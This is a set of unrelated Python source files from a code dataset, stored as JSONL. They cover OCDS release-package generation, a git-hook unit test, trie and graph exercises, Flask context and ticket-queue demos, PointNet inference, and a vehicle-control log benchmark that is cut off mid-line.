archivosProcesados[llave]['finalizo'] == False:\n aniosPorProcesar.append(llave)\n else: \n archivos[llave] = copy.deepcopy(archivosProcesados[llave])\n else:\n # Si el archivo nunca habia sido procesado, entonces se procesa. \n archivosProcesar.append(llave)\n archivosProcesados[llave] = archivos[llave]\n\n print(\"Archivos por procesar: \", archivosProcesar)\n\n #Generar release package\n for llave in archivos:\n if llave in archivosProcesar:\n #Generando metadatos del paquete \n metaDataPaquete = generarMetaDatosPaquete(archivos[llave]['paquetesData'], archivos[llave]['md5_hash'])\n escribirArchivo(directorioPaquetes, llave + '_paquete.json', json.dumps(metaDataPaquete, indent=4, ensure_ascii=False), 'w')\n \n #Generando Json \n generarReleasePackage(archivos[llave][\"archivo_paquete\"], archivos[llave][\"archivo_text\"], directorioDescargas, llave + '.json')\n \n archivos[llave][\"urls\"][\"json\"] = llave + '.json'\n archivos[llave][\"urls\"][\"md5\"] = llave + '.md5'\n archivos[llave][\"urls\"][\"xlsx\"] = llave + '.xlsx'\n archivos[llave][\"urls\"][\"csv\"] = llave + '.zip'\n \n md5_json = md5(directorioDescargas + archivos[llave][\"urls\"][\"json\"])\n archivos[llave][\"md5_json\"] = md5_json\n\n #Generando MD5\n escribirArchivo(directorioDescargas, llave + '.md5', md5_json, 'w')\n\n # Eliminando variables no necesarias para almacenar\n del archivos[llave][\"paquetesData\"]\n del archivos[llave][\"paquetesId\"]\n del archivos[llave][\"archivo_hash\"]\n del archivos[llave][\"archivo_text\"]\n del archivos[llave][\"archivo_paquete\"]\n\n archivosProcesados[llave] = archivos[llave]\n\n #Aplanando archivos .json\n for llave in archivos:\n if llave in archivosProcesar:\n #Generando CSV, EXCEL\n aplanarArchivo(directorioDescargas + archivos[llave][\"urls\"][\"json\"], directorioDescargas + llave)\n archivos[llave][\"finalizo\"] = True\n archivosProcesados[llave][\"finalizo\"] = True\n\n escribirArchivo(directorioReleases, 'metadata_releases.json', json.dumps(archivosProcesados, ensure_ascii=False), 'w')\n guardarDataJSON(json.dumps(archivosProcesados, ensure_ascii=False))\n\ndef pruebas():\n data = {}\n metadatos = getRootPath('archivos_estaticos/releases/' + 'metadata_releases.json')\n\n print(metadatos)\n\n with open(metadatos) as json_file:\n data = json.load(json_file)\n\n guardarDataJSON(json.dumps(data, indent=4, ensure_ascii=False))\n\ndef main():\n archivoReleases = \"releases.csv\"\n path = getRootPath(carpetaArchivos)\n file = path + archivoReleases\n\n startDate = datetime.datetime.now()\n print(datetime.datetime.now())\n\n obtenerRelasesCSV()\n generarArchivosEstaticos(file)\n # pruebas()\n\n endDate = datetime.datetime.now()\n print(datetime.datetime.now())\n\n minutes = ((endDate-startDate).seconds) / 60\n\n print(\"Tiempo transcurrido: \" + str(minutes) + \" minutos\")\n\nmain()","sub_path":"ocds_bulk_download/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":14932,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"624924384","text":"import unittest\nfrom unittest.mock import patch\n\nfrom guet.git.hook_present import hook_present\n\n\nclass TestHookPresent(unittest.TestCase):\n @patch('guet.git.hook_present.isfile')\n @patch('guet.git.hook_present.join')\n def test_hook_present_returns_true_if_hook_is_present_at_path(self, mock_join, mock_isfile):\n\n mock_join.side_effect = lambda a, b: a + '/' + b\n mock_isfile.side_effect = lambda path: path == '/Users/user/workspace/guet/.git', 'pre-commit'\n self.assertTrue(hook_present('/Users/user/workspace/guet/.git', 'pre-commit'))\n","sub_path":"test/git/test_hook_present.py","file_name":"test_hook_present.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"629807063","text":"\"\"\"\r\nsearch string in space and time efficient way\r\nnode has nonrepetitive multiple characters\r\nnode has link to next character\r\nnode has track of end of string\r\n\r\nspelling checker\r\nauto complete\r\n\r\ncreate\r\ninsert\r\n blank trie\r\n prefix already exists\r\n prefix already exists as complete string\r\n complete string exists \r\nsearch\r\n doesnt exist\r\n exists\r\n only prefix exists\r\ndelete from bottom\r\n prefix is shared\r\n complete string is shared\r\n other string is prefix\r\n no dependency\r\n\"\"\"\r\n\r\nclass TrieNode:\r\n def __init__(self):\r\n self.children = {}\r\n self.endofstring = False\r\n\r\nclass Trie:\r\n # O(1), O(1)\r\n def __init__(self):\r\n self.root = TrieNode()\r\n\r\n # O(m), O(m) - no of chars in word\r\n def insertstring(self, word):\r\n current = self.root\r\n for ch in word:\r\n node = current.children.get(ch)\r\n if node == None:\r\n node = TrieNode()\r\n current.children.update({ch: node})\r\n current = node\r\n current.endofstring = True\r\n print(\"inserted\")\r\n\r\n # O(m), O(1)\r\n def search(self, word):\r\n current = self.root\r\n for ch in word:\r\n node = current.children.get(ch)\r\n if not node:\r\n return\r\n current = node\r\n if current. endofstring == True:\r\n print(\"found\")\r\n\r\n# learn more - write on own - understand\r\ndef delete(root, word, index):\r\n ch = word[index]\r\n currentnode = root.children.get(ch)\r\n canthisbedeleted = False\r\n if len(currentnode.children) > 1:\r\n delete(currentnode, word, index+1)\r\n return False\r\n if index == len(word) - 1:\r\n if len(currentnode.children) >= 1:\r\n currentnode.endofstring = False\r\n return False\r\n else:\r\n root.children.pop(ch)\r\n return True\r\n if currentnode.endofstring == True:\r\n delete(currentnode, word, index+1)\r\n return False\r\n canthisbedeleted = delete(currentnode, word, index+1)\r\n if canthisbedeleted:\r\n root.children.pop(ch)\r\n return True\r\n else:\r\n return False\r\n\r\nnewtrie = Trie()\r\nnewtrie.insertstring(\"app\")\r\nnewtrie.insertstring(\"api\")\r\nnewtrie.search(\"api\")\r\ndelete(newtrie.root, \"api\", 0)\r\nprint(\"#########\")\r\nnewtrie.search(\"api\")\r\nprint(\"#########\")\r\nnewtrie.search(\"app\")\r\n","sub_path":"zzz_dsa/python_dsa_1/065_trie.py","file_name":"065_trie.py","file_ext":"py","file_size_in_byte":2390,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"365754835","text":"from flask import Flask, url_for, request, current_app, g\n\nfrom werkzeug.local import Local\n\nfrom utils import log_a, log_b, log_c\n\n# Flask = werkzeug + sqlalchemy + jinja\n\n# 只要绑定到Local对象上的属性,在每个线程中都是隔离的\n\napp = Flask(__name__) # type:Flask\n\n# 1.app 上下文\n# 直接使用current_app,会报错:RuntimeError: Working outside of application context.\n# 1.1 创建上下文\n# app_context = app.app_context()\n# 1.2 推入到栈里面\n# app_context.push()\n# 1.3 使用current_app【注意:只有经过了前面两个步骤,才能在视图函数外使用current_app】\n# print(current_app.name)\n\n# 或者\n# 1.3.1 直接使用with方法\nwith app.app_context():\n print(current_app.name)\n\n\n@app.route('/')\ndef index():\n # ContextDemo\n # 1.0 在视图函数中可以直接使用current_app\n # current_app代表:当前运行项目的app,涉及到app上下文\n # print(current_app.name)\n\n # 2.0 在视图函数中可以直接反转其他函数,获取到地址\n # url_for 涉及到app上下文和请求上下文\n # print(url_for('my_list'))\n\n username = request.args.get('username')\n # 把数据存入到g对象中\n g.username = username\n\n log_a()\n log_b()\n log_c()\n\n return 'Hello World!'\n\n\n@app.route('/list/')\ndef my_list():\n return 'my list'\n\n\n# 2.1 直接使用url_for是会报错的;这里需要同时包含:请求上下文和app上下文\n# app.test_request_context 会创建一个请求上下文【手动推入一个请求上下文到栈中】推入\n# 原理是包含两步:先判断是否包含一个app上下文,如果不存在,就先推入一个app上下文;\n# 如有已经有app上下文,就推入一个请求上下文\nwith app.test_request_context():\n print(url_for('my_list'))\n\nif __name__ == '__main__':\n app.run()\n\n# 例子中包含:app上下文【1】、请求上下文【2】,g 对象【global简写】\n# g 对象和session、request、current_app 都是线程隔离的\n","sub_path":"Python/Flask/2.Flask 进阶/6.WTForms、上传文件、Cookie+Session、CSRF、Flask上下文、钩子函数、信号机制、Restful API/5.上下文/ContextDemo/ContextDemo.py","file_name":"ContextDemo.py","file_ext":"py","file_size_in_byte":2003,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"435936592","text":"from collections import deque\n\nclass Nodo:\n\n def __init__(self, valor):\n self.valor = valor\n self.conexiones = []\n \n def agregar_arista(self, nodo):\n self.conexiones.append(nodo)\n \n def __repr__(self):\n return f'{self.valor}'\n\n def __eq__(self, other):\n return (self.valor == other.valor) and (self.conexiones == other.conexiones)\n\n def __lt__(self, other):\n return self.valor < other.valor\n\n def __gt__(self, other):\n return self.valor > other.valor\n\nclass Grafo:\n\n def __init__(self):\n self.nodos = []\n\n def crear_nodo(self, valor):\n return Nodo(valor)\n\n def agregar_conexion(self, valor_origen, valor_destino):\n for nodo in self.nodos:\n if nodo.valor == valor_origen:\n nodo_actual = nodo\n break\n else:\n nodo_actual = self.crear_nodo(valor_origen)\n self.nodos.append(nodo_actual)\n nodo_actual.agregar_arista(valor_destino)\n\n def imprimir_grafo(self):\n for nodo in self.nodos:\n print(f\"{nodo.valor} -> {nodo.conexiones}\")\n\n def get_nodo(self, num_nodo):\n for nodo in self.nodos:\n if nodo.valor == num_nodo:\n return nodo\n else:\n return Nodo(num_nodo)\n \n def recorrer_bfs(self, inicio=None):\n visitados = []\n if inicio is None:\n queue = deque([self.nodos[0]])\n else:\n queue = deque([self.get_nodo(inicio)])\n \n while len(queue) > 0:\n vertice = queue.popleft()\n if vertice not in visitados:\n visitados.append(vertice)\n for vecino in vertice.conexiones:\n vecino = self.get_nodo(vecino)\n if vecino not in visitados:\n queue.append(vecino)\n return visitados\n\n def recorrer_dfs(self, inicio=None):\n visitados = []\n if inicio is None:\n stack = [self.nodos[0]]\n else:\n stack = [self.get_nodo(inicio)]\n \n while len(stack) > 0:\n vertice = stack.pop()\n if vertice not in visitados:\n visitados.append(vertice)\n for vecino in vertice.conexiones:\n vecino = self.get_nodo(vecino)\n if vecino not in visitados:\n stack.append(vecino) \n return visitados\n\n def encontrar_minimo(self):\n return min(self.recorrer_bfs())\n\n def existe_camino(self, origen, destino):\n return destino in map(lambda x: x.valor, self.recorrer_dfs(origen))\n\n def distancia_entre(self, origen, destino):\n visitados = []\n distancia = 0\n down = True\n queue = deque([self.get_nodo(origen)])\n \n while len(queue) > 0:\n vertice = queue.popleft()\n if vertice not in visitados:\n visitados.append(vertice)\n distancia += 1\n for vecino in vertice.conexiones:\n vecino = self.get_nodo(vecino)\n if vecino not in visitados:\n queue.append(vecino)\n if destino in map(lambda x: x.valor, queue):\n return distancia\n return float('inf')\n\n def existe_ciclo(self):\n visitados = []\n stack = [self.nodos[0]]\n \n while len(stack) > 0:\n vertice = stack.pop()\n if vertice in visitados:\n return True\n visitados.append(vertice)\n for vecino in vertice.conexiones:\n vecino = self.get_nodo(vecino)\n stack.append(vecino)\n return False\n \n\nconexiones = [(1, 2), (2, 3), (3, 2), (3, 4), (3, 5), (4, 5), (1, 6), (2, 7), (7, 10), (7, 11), (6, 8), (6, 9)]\n\ngrafo = Grafo()\n\nfor conexion in conexiones:\n origen, destino = conexion\n grafo.agregar_conexion(origen, destino)\n\n# Parte 1\nprint(\"Parte 1\")\nprint(grafo.recorrer_bfs())\n\n# Parte 2\nprint(\"Parte 2\")\nprint(grafo.recorrer_dfs())\n\n# Parte 3\nprint(\"Parte 3\")\nprint(grafo.encontrar_minimo())\n\n# Parte 4\nprint(\"Parte 4\")\nprint(grafo.existe_camino(3, 5))\nprint(grafo.existe_camino(10, 12))\n\n# Parte 5\nprint(\"Parte 5\")\nprint(grafo.distancia_entre(1, 11))\n\n# Parte 6\nprint(\"Parte 6\")\nprint(grafo.existe_ciclo())\n","sub_path":"semana-10/ejercicios_propuestos/03-Nodal_extendida.py","file_name":"03-Nodal_extendida.py","file_ext":"py","file_size_in_byte":4367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"71703462","text":"from flask import Flask, request\nfrom flask_cors import CORS\nfrom collections import deque\n\n\napp = Flask(__name__)\nCORS(app)\ncount = 0 # Counter for the biggest number given so far\nqueue = deque() # append, popleft\ncounters = {} # {counter: latest}\nrec = tuple(['', '']) # Most recent call to counter\n\n\n@app.route('/')\ndef hello():\n return \"hello world - why are you seeing this?\"\n\n\n@app.route('/latest')\ndef latest():\n global rec\n return str(rec[0]) + \" \" + str(rec[1]) # Format: [Ticket number] [Counter number]\n\n\n@app.route('/amount')\ndef amount():\n return str(len(queue))\n\n\n@app.route('/join')\ndef join():\n global count\n count += 1\n queue.append(count)\n return str(count)\n\n\n@app.route('/get')\ndef get():\n global rec\n counterno = int(request.args.get('c'))\n if not len(queue):\n counters[counterno] = None\n return 'Empty'\n else:\n counters[counterno] = queue.popleft()\n rec = (counters[counterno], counterno)\n return str(counters[counterno])\n\n\n@app.route('/postpone')\ndef postpone():\n counterno = int(request.args.get('c'))\n if counters[counterno] != '':\n queue.append(counters[counterno])\n counters[counterno] = None\n return 'Postponed'\n else:\n return 'Invalid'\n\n\nif __name__ == '__main__':\n app.run()\n","sub_path":"backend/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1330,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"146430367","text":"# -*- coding: utf-8 -*-\n\nimport argparse\nimport os\nimport pdb\n\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\n\n\nfrom datasets import S3dDataset\nfrom pointnet import PointNetSeg\n\n\nimport matplotlib.pyplot as plt\nfrom matplotlib import cm\nimport open3d\n\nfrom utils import get_s3d_cat2num\n\ndef scale_linear_bycolumn(rawdata, high=1.0, low=0.0):\n mins = np.min(rawdata, axis=0)\n maxs = np.max(rawdata, axis=0)\n rng = maxs - mins\n return high - (high-low)*(maxs-rawdata)/(rng+np.finfo(np.float32).eps)\n\n\n\ndef infer_one_file(config):\n\n blue = lambda x: '\\033[94m' + x + '\\033[0m'\n yellow = lambda x: '\\033[93m' + x + '\\033[0m'\n red = lambda x: '\\033[91m' + x + '\\033[0m'\n\n classifier = PointNetSeg(k=config['num_classes'])\n classifier.load_state_dict(torch.load(config['model']))\n # device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n device = torch.device('cpu')\n classifier.to(device)\n\n points = np.loadtxt(config['object'])[:, :3].astype(np.float32)\n choice = np.random.choice(points.shape[0], config['npoints'], replace=True)\n pred = np.zeros((points.shape[0],))\n pred[:] = -1 \n points = points[choice, :]\n points = np.expand_dims(points, axis=0)\n points = torch.from_numpy(points)\n points = points.transpose(2, 1)\n points = points.to(device)\n classifier = classifier.eval()\n choiced_pred, _ = classifier(points)\n choiced_pred = choiced_pred.view(-1, config['num_classes'])\n choiced_pred = choiced_pred.data.max(1)[1]\n\n cat2num = get_s3d_cat2num()\n for el in set(choiced_pred.tolist()):\n print(\"found {}\".format(cat2num[el]))\n\n pred[choice] = choiced_pred \n np.savetxt(config['outf'], pred)\n\n\ndef vis_all():\n files_path = 'D:\\\\code\\\\pytorch\\\\pointnet-pytorch\\\\train\\\\Area_1\\\\conferenceRoom_2\\\\Annotations'\n n_classes = 14\n encountered_classes = set()\n\n\n all_files = os.listdir(files_path)\n points_files = list(filter(lambda x: 'labels' not in x and 'preds' not in x, all_files))\n labels_files = list(filter(lambda x: 'labels' in x, all_files))\n predics_files = list(filter(lambda x: 'preds' in x, all_files))\n cmap = cm.get_cmap('jet')\n\n pcds = []\n for points_file in points_files:\n obj_name = points_file.split('.')[0]\n preds_file = [f for f in predics_files if obj_name in f][0]\n points = np.loadtxt(os.path.join(files_path, points_file)).astype(np.float32)\n preds = np.loadtxt(os.path.join(files_path, preds_file)).astype(np.float32)\n\n colors = np.zeros((points.shape[0], 3))\n for i, c in enumerate(preds):\n encountered_classes.add(c)\n if i != -1: # noise (black color by default)\n color = cmap(int(c) / n_classes)[:-1] # remove alpha\n colors[i] = color\n\n pcd = open3d.geometry.PointCloud()\n pcd.points = open3d.utility.Vector3dVector(points[:, :3])\n pcd.colors = open3d.utility.Vector3dVector(colors)\n pcds.append(pcd)\n\n print(encountered_classes)\n open3d.visualization.draw_geometries(pcds)\n\n\ndef vis_one(points_file, preds_file):\n n_classes = 14\n\n cmap = cm.get_cmap('jet')\n\n pcds = []\n points = np.loadtxt(points_file).astype(np.float32)\n preds = np.loadtxt(preds_file).astype(np.float32)\n\n colors = np.zeros((points.shape[0], 3))\n for i, c in enumerate(preds):\n if i != -1: # noise (black color by default)\n color = cmap(int(c) / n_classes)[:-1] # remove alpha\n colors[i] = color\n\n pcd = open3d.geometry.PointCloud()\n pcd.points = open3d.utility.Vector3dVector(points[:, :3])\n pcd.colors = open3d.utility.Vector3dVector(colors)\n pcds.append(pcd)\n\n open3d.visualization.draw_geometries(pcds)\n\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('-path', '--path', type=str, required=True, help='path to points file')\n parser.add_argument('-model', '--model', type=str, default=None, help='path to model file')\n config = parser.parse_args()\n infer(config)\n\n","sub_path":"infer_seg2.py","file_name":"infer_seg2.py","file_ext":"py","file_size_in_byte":4122,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"222952871","text":"##################################################\n## Deal with the prediction to fit matlab code. ##\n##################################################\n\n## Config ##\nfile='pred/prediction500'\ntarget='result/result500'\nfeature_dim=225\nf1=open(file,'r')\nf2=open(target,'w')\n################################################\nframe=[]\ntotal_frame=0\nfor line in f1:\t\n\tline=line.strip('[')\n\tline=line.strip(']\\n')\n\tline=line.strip('\\n')\n\tline=line.split(\" \")\n\tfor member in line :\n\t\tif member != \"\":\n\t\t\tframe.append(member)\n\t# finish a frame and write in a line\n\tif len(frame)==feature_dim:\n\t\tfor index in range(0,feature_dim,1):\n\t\t\tf2.write(frame[index]+\" \")\n\t\tf2.write(\"\\n\")\n\t\tframe=[]\t\n\t\ttotal_frame=total_frame+1\n\nprint (\"Total frame : \"+str(total_frame))\n\n\n\n\n\n","sub_path":"script/process_prediction.py","file_name":"process_prediction.py","file_ext":"py","file_size_in_byte":759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"319917562","text":"# !/usr/bin/env python\n##################################################################\n#\n# Copyright (c) 2018 Baidu.com, Inc. All Rights Reserved\n#\n##################################################################\n\"\"\"\nAuthors: Dingfeng Guo\n\"\"\"\n\nfrom __future__ import division\nimport os\nimport re\nimport csv\nimport numpy as np\nimport prettytable as pt\nimport matplotlib.pyplot as plt\n\n\nclass BenchMark(object):\n \"\"\"\n plot the steer controller info\n \"\"\"\n def __init__(self):\n \"\"\"\n init the steer info\n \"\"\"\n self.raw_data_filename = \"data/control_log_raw_data.txt\"\n self.fields = ['driving_mode', 'is_backward', 'lateral_index', 'lateral_error',\n 'heading_error', 'heading_current', 'heading_reference', 'curvature_reference',\n 'curvature_reference_filtered', 'steer_feedforward', 'steer_mpc', 'steer_output',\n 'steer_position', 'steer_torque', 'longitudinal_index', 's_current',\n 's_reference', 'station_error', 'station_error_filtered', 'speed_error',\n 'speed_current', 'speed_reference', 'acc_current', 'acc_reference', 'acc_slope',\n 'acc_mpc', 'acc_compensation', 'acc_output', 'torque_mpc', 'torque_output',\n 'torque_chassis', 'throttle_output', 'brake_output', 'throttle_chassis', 'brake_chassis',\n 'path_remain', 'position_x', 'position_y']\n tmp_string = ''\n for field in self.fields:\n tmp_string += field + ','\n self.header = 'I0000 00:00:00.000000 Refine_MPC_Detail,' + tmp_string[0:-1]\n self.data_info = {}\n for field in self.fields:\n self.data_info[field] = []\n self.scene_stright_line = {}\n for field in self.fields:\n self.scene_stright_line[field] = []\n self.scene_right_turn = {}\n for field in self.fields:\n self.scene_right_turn[field] = []\n self.scene_left_turn = {}\n for field in self.fields:\n self.scene_left_turn[field] = []\n self.scene_u_turn = {}\n for field in self.fields:\n self.scene_u_turn[field] = []\n self.scene_brake = {}\n for field in self.fields:\n self.scene_brake[field] = []\n self.f_mean = 0.4\n self.f_rmse = 0.1\n self.f_max = 0.45\n self.f_outlier = 0.05\n self.f_pacc = 0.05\n self.f_nacc = 0.4\n self.f_jerk = 0.05\n self.f_pedal_switch = 0.5\n self.f_lat_acc = 0.3\n self.f_steer_switch = 0.5\n self.f_steer = 0.2\n self.f = {}\n self.f['straight'] = [0.6, 0.1, 0.2, 0.1]\n self.f['right_turn'] = [0.2, 0, 0.5, 0.3]\n self.f['u_turn'] = [0.2, 0.1, 0.6, 0.1]\n self.f['left_turn'] = [0.05, 0.05, 0.6, 0.3]\n self.f['brake'] = [0.7, 0.3, 0, 0]\n self.f_scene = {}\n self.f_scene['straight'] = 0.3\n self.f_scene['left_turn'] = 0.4\n self.f_scene['right_turn'] = 0.1\n self.f_scene['u_turn'] = 0.05\n self.f_scene['brake'] = 0.15\n self.index = 0\n station_mean_base = [0.5, 0.3, 0.3, 0.6, 0.2]\n station_max_base = [2, 0.5, 1, 0.5, 0.5]\n speed_mean_base = [0.5, 0.4, 0.4, 0.4, 0.3]\n speed_max_base = [1, 0.5, 0.5, 0.5, 1]\n lateral_mean_base = [0.05, 0.1, 0.1, 0.1, 0.05]\n lateral_max_base = [0.1, 0.2, 0.2, 0.2, 0.1]\n heading_mean_base = [0.03, 0.05, 0.1, 0.1, 0.05]\n heading_max_base = [0.05, 0.15, 0.2, 0.2, 0.05]\n self.station_mean_base = {}\n self.station_max_base = {}\n self.speed_mean_base = {}\n self.speed_max_base = {}\n self.lateral_mean_base = {}\n self.lateral_max_base = {}\n self.heading_mean_base = {}\n self.heading_max_base = {}\n for scene in ['straight', 'left_turn', 'right_turn', 'u_turn', 'brake']:\n self.station_mean_base[scene] = station_mean_base[self.index]\n self.station_max_base[scene] = station_max_base[self.index]\n self.speed_mean_base[scene] = speed_mean_base[self.index]\n self.speed_max_base[scene] = speed_max_base[self.index]\n self.lateral_mean_base[scene] = lateral_mean_base[self.index]\n self.lateral_max_base[scene] = lateral_max_base[self.index]\n self.heading_mean_base[scene] = heading_mean_base[self.index]\n self.heading_max_base[scene] = heading_max_base[self.index]\n self.index += 1\n self.station_rmse_base = 0.2\n self.speed_rmse_base = 0.2\n self.lateral_rmse_base = 0.05\n self.heading_rmse_base = 0.02\n self.station_outlier_base = 1\n self.speed_outlier_base = 1\n self.lateral_outlier_base = 1\n self.heading_outlier_base = 1\n self.positive_acc_num_base = 0.001\n self.negative_acc_num_base = 0.01\n self.jerk_mean_base = 0.05\n self.pedal_switch_base = 0.1\n self.lateral_max_acc_base = 1\n self.lateral_delta_max_acc_base = 0.05\n self.delta_steer_mean_base = 0.01\n self.delta_steer_max_base = 5\n self.switch_number_base = 0.001\n self.switch_mean_base = 10\n\n def load_data(self):\n \"\"\"\n load the data\n \"\"\"\n filenames = []\n with open('data/data_name', 'r') as rf:\n for line in rf:\n filenames.append(line.split()[0])\n print(\"control log files include: \" + str(filenames))\n\n if os.path.exists(self.raw_data_filename):\n shell_cmd = \"rm \" + self.raw_data_filename\n os.system(shell_cmd)\n\n for filename in filenames:\n shell_cmd = \"grep Refine_MPC_Detail \" + filename +\\\n \" >> \" + self.raw_data_filename\n os.system(shell_cmd)\n print(\"load data done: \" + filename)\n\n with open(self.raw_data_filename, 'r+') as rp:\n first_line = rp.readline()\n other = rp.read()\n if not re.search(\"current_index\", first_line):\n rp.seek(0, 0)\n rp.write(str(self.header) + '\\n' + other)\n\n with open(self.raw_data_filename, 'r') as fp:\n reader = csv.DictReader(fp)\n for line in reader:\n try:\n if float(line['driving_mode']) == 1:\n for field in self.fields:\n self.data_info[field].append(float(line[field]))\n except Exception:\n continue\n\n def cutoff_scene(self):\n \"\"\"\n get different scene\n \"\"\"\n num = len(self.data_info['driving_mode'])\n for index in range(num):\n if self.data_info['speed_current'][index] > 5 and\\\n abs(self.data_info['steer_position'][index]) < 5 and\\\n abs(self.data_info['lateral_error'][index]) < 0.3 and\\\n abs(self.data_info['station_error'][index]) < 4:\n self.extract_data(index, self.scene_stright_line)\n if self.data_info['speed_current'][index] > 2 and\\\n self.data_info['curvature_reference_filtered'][index] < -0.05 and\\\n self.data_info['steer_position'][index] < -10 and\\\n abs(self.data_info['lateral_error'][index]) < 0.5:\n self.extract_data(index, self.scene_right_turn)\n if self.data_info['speed_current'][index] > 2 and\\\n self.data_info['curvature_reference_filtered'][index] > 0.05 and\\\n self.data_info['steer_position'][index] > 10 and\\\n abs(self.data_info['lateral_error'][index]) < 0.5:\n self.extract_data(index, self.scene_left_turn)\n if self.data_info['speed_current'][index] < 5 and\\\n abs(self.data_info['curvature_reference_filtered'][index]) > 0.08 and\\\n abs(self.data_info['steer_position'][index]) > 10 and\\\n abs(self.data_info['lateral_error'][index]) < 0.5:\n self.extract_data(index, self.scene_u_turn)\n if self.data_info['speed_current'][index] < 2 and\\\n abs(self.data_info['curvature_reference_filtered'][index]) < 0.01 and\\\n abs(self.data_info['steer_position'][index]) < 5 and\\\n abs(self.data_info['brake_output'][index]) > 20 and\\\n abs(self.data_info['station_error'][index]) < 4 and\\\n abs(self.data_info['lateral_error'][index]) < 0.3:\n self.extract_data(index, self.scene_brake)\n\n def extract_data(self, index, scene):\n \"\"\"\n extract the data\n \"\"\"\n scene['station_error'].append(\n self.data_info['station_error'][index])\n scene['speed_error'].append(\n self.data_info['speed_error'][index])\n scene['lateral_error'].append(\n self.data_info['lateral_error'][index])\n scene['heading_error'].append(\n self.data_info['heading_error'][index])\n scene['acc_current'].append(\n self.data_info['acc_current'][index])\n scene['throttle_output'].append(\n self.data_info['throttle_output'][index])\n scene['brake_output'].append(\n self.data_info['brake_output'][index])\n scene['speed_current'].append(\n self.data_info['speed_current'][index])\n scene['curvature_reference_filtered'].append(\n self.data_info['curvature_reference_filtered'][index])\n scene['steer_output'].append(\n self.data_info['steer_output'][index])\n return scene\n\n def divid_number(self, base, data, number=1):\n \"\"\"\n clamp the data\n \"\"\"\n if data == 0:\n out1 = 1\n else:\n out1 = base / data / number\n if out1 < 0:\n out = 0\n elif out1 > 1:\n out = 1\n else:\n out = out1\n return out\n\n def compute_score(self, scene, scene_name):\n \"\"\"\n process the data and compute the score\n \"\"\"\n prev_acc = 0\n prev_cmd = 0\n prev_acc_lat = 0\n prev_steer = 0\n number = 0\n num_station = 0\n num_speed = 0\n num_lateral = 0\n num_heading = 0\n num_pacc = 0\n num_nacc = 0\n jerk = []\n num_jerk = 0\n num_cmd_switch = 0\n num_steer = 0\n delta_switch_list = []\n delta_steer_list = []\n score = []\n acc_lat_list = []\n delta_acc_lat_list = []\n result = {}\n number = 0.01 * len(scene['station_error'])\n if number < 5:\n result['score'] = ['N/A', 'N/A', 'N/A', 'N/A']\n result['error'] = ['N/A', 'N/A', 'N/A', 'N/A', 'N/A', 'N/A', 'N/A', 'N/A',\n 'N/A', 'N/A', 'N/A', 'N/A']\n return result\n else:\n e_s_mean = round(np.mean(np.absolute(scene['station_error'])), 3)\n e_s_sd = round(np.std(np.absolute(scene['station_error'])), 3)\n e_s_max = round(np.max(np.absolute(scene['station_error'])), 3)\n e_v_mean = round(np.mean(np.absolute(scene['speed_error'])), 3)\n e_v_sd = round(np.std(np.absolute(scene['speed_error'])), 3)\n e_v_max = round(np.max(np.absolute(scene['speed_error'])), 3)\n\n e_l_mean = round(np.mean(np.absolute(scene['lateral_error'])), 3)\n e_l_sd = round(np.std(np.absolute(scene['lateral_error'])), 3)\n e_l_max = round(np.max(np.absolute(scene['lateral_error'])), 3)\n e_th_mean = round(np.mean(np.absolute(scene['heading_error'])), 3)\n e_th_sd = round(np.std(np.absolute(scene['heading_error'])), 3)\n e_th_max = round(np.max(np.absolute(scene['heading_error'])), 3)\n\n for error in np.absolute(scene['station_error']):\n if abs(error - e_s_mean) / e_s_sd > 3:\n num_station += 1\n for error in scene['speed_error']:\n if abs(error - e_v_mean) / e_v_sd > 3:\n num_speed += 1\n\n for error in np.absolute(scene['lateral_error']):\n if abs(error - e_l_mean) / e_l_sd > 3:\n num_lateral += 1\n for error in np.absolute(scene['heading_error']):\n if abs(error - e_th_mean) / e_th_sd > 3:\n num_heading += 1\n\n station_99_percent = np.percentile(np.absolute(scene['station_error']), 99)\n speed_99_percent = np.percentile(np.absolute(scene['speed_error']), 99)\n lateral_99_percent = np.percentile(np.absolute(scene['lateral_error']), 99)\n heading_99_percent = np.percentile(np.absolute(scene['heading_error']), 99)\n for acc in scene['acc_current']:\n if acc > 3:\n num_pacc += 1\n if acc < -2:\n num_nacc += 1\n delta_acc = acc - prev_acc\n jerk.append(delta_acc)\n if delta_acc > 0.05:\n num_jerk += 1\n prev_acc = acc\n\n jerk_mean = round(np.mean(np.absolute(jerk)), 3)\n\n for throttle, brake in zip(scene['throttle_chassis'],\n scene['brake_chassis']):\n cmd = (throttle - 18) - (brake - 15.5)\n if cmd * prev_cmd < 0:\n num_cmd_switch += 1\n prev_cmd = cmd\n\n for speed, curvature in zip(scene['speed_current'],\n scene[\n 'curvature_reference_filtered']):\n acc_lat = speed * speed * curvature\n acc_lat_list.append(acc_lat)\n delta_acc_lat = acc_lat - prev_acc_lat\n delta_acc_lat_list.append(delta_acc_lat)\n prev_acc_lat = acc_lat\n acc_lat_max = round(np.max(np.absolute(acc_lat_list)), 3)\n delta_acc_lat_max = round(np.max(\n np.absolute(delta_acc_lat_list)), 3)\n\n for steer in scene['steer_output']:\n delta_steer = steer - prev_steer\n delta_steer_list.append(delta_steer)\n if steer * prev_steer < 0 and\\\n abs(steer) > 3 and\\\n abs(prev_steer) > 3:\n num_steer += 1\n delta_switch_list.append(delta_steer)\n prev_steer = steer\n\n if delta_steer_list == []:\n delta_steer_mean = 0\n delta_steer_max = 0\n else:\n delta_steer_mean = round(np.mean(\n 